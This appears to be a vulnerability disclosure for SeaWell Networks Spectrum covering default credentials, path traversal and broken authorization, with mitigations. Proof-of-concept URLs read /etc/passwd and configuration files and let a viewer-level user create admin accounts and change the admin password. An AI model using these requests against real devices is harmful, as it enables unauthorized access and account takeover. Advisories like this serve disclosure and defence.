SeaWell Networks Spectrum – Multiple Vulnerabilities

SeaWell Networks Spectrum is a “Multiscreen 2.0” Session Delivery Controller. It is high-performance, carrier-grade software that takes ABR video and repackages it – on-the-fly – into any other protocol, including Apple HLS, Adobe HDS, Microsoft Smooth Streaming and MPEG-DASH. Weak, default login credentials - admin / admin were discovered. The configure_manage.php module accepts a file parameter which takes an unrestricted file path as input, allowing an attacker (non-admin, low- privileged user) to read arbitrary files on the system. A low privileged, non-admin user, with only viewer privileges, can perform administrative functions, such as create, update, delete a user (including admin user), or access device's configuration files (policy.xml, cookie_config.xml, systemCfg.xml). The application lacks Authorization controls to restrict any non-admin users from performing admin functions.

Mitigation:

Ensure that the default credentials are changed and that the application is configured to use strong authentication. Restrict access to the configure_manage.php module and ensure that the file parameter is properly validated. Implement proper authorization controls to restrict non-admin users from performing admin functions.

A. CWE-255: Credentials Management
CVE-2015-8282

Weak, default login credentials - admin / admin

B. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CVE-2015-8283

The configure_manage.php module accepts a file parameter which takes an unrestricted file path as input, allowing an attacker (non-admin, low- privileged user) to read arbitrary files on the system.

PoC:

https://IP/configure_manage.php?action=download_config&file=../../../../../../../../../etc/passwd

C. CWE-285: Improper Authorization
CVE-2015-8284

A low privileged, non-admin user, with only viewer privileges, can perform administrative functions, such as create, update, delete a user (including admin user), or access device's configuration files (policy.xml, cookie_config.xml, systemCfg.xml). The application lacks Authorization controls to restrict any non-admin users from performing admin functions.

The application users can have admin or viewer privilege levels. Admin has full access to the device. Viewer has access to very restricted functions.

It is possible for a viewer priv user to perform admin functions.

PoC:

Add new user [Admin function only]

GET /system_manage.php?username=viewer&password=viewer&password=viewer&userlevel=1&action=add_user&ekey=&LActiveRow= HTTP/1.1

https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=

Here

admin -> userlevel=9
viewer -> userlevel=1

Create new user with Admin privs
Log in as viewer - try create new admin user - viewer1

https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=

<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>

Delete user

https://IP/system_manage.php?username=viewer1&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4

Modify existing user (including admin)
log in as viewer - try change system (admin) user

https://IP/system_manage.php?username=system&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4

<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>

Change Admin password
log in as viewer - try change admin pass

https://IP/system_manage.php?username=admin&password=admin1&password=admin1&userlevel=9&action=update_user&ekey=3&LActiveRow=sys_Luser_3

<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>

Downloading configuration xml files

viewer priv user has no access/option to config xmls via GUI. It is possible to download the configs by calling the url directly

Access policy config xml
https://IP/configure_manage.php?action=download_config&file=policy.xml

Access cookie config xml
https://IP/configure_manage.php?action=download_config&file=cookie_config.xml

Access system config xml
https://IP/configure_manage.php?action=download_config&file=systemCfg.xml
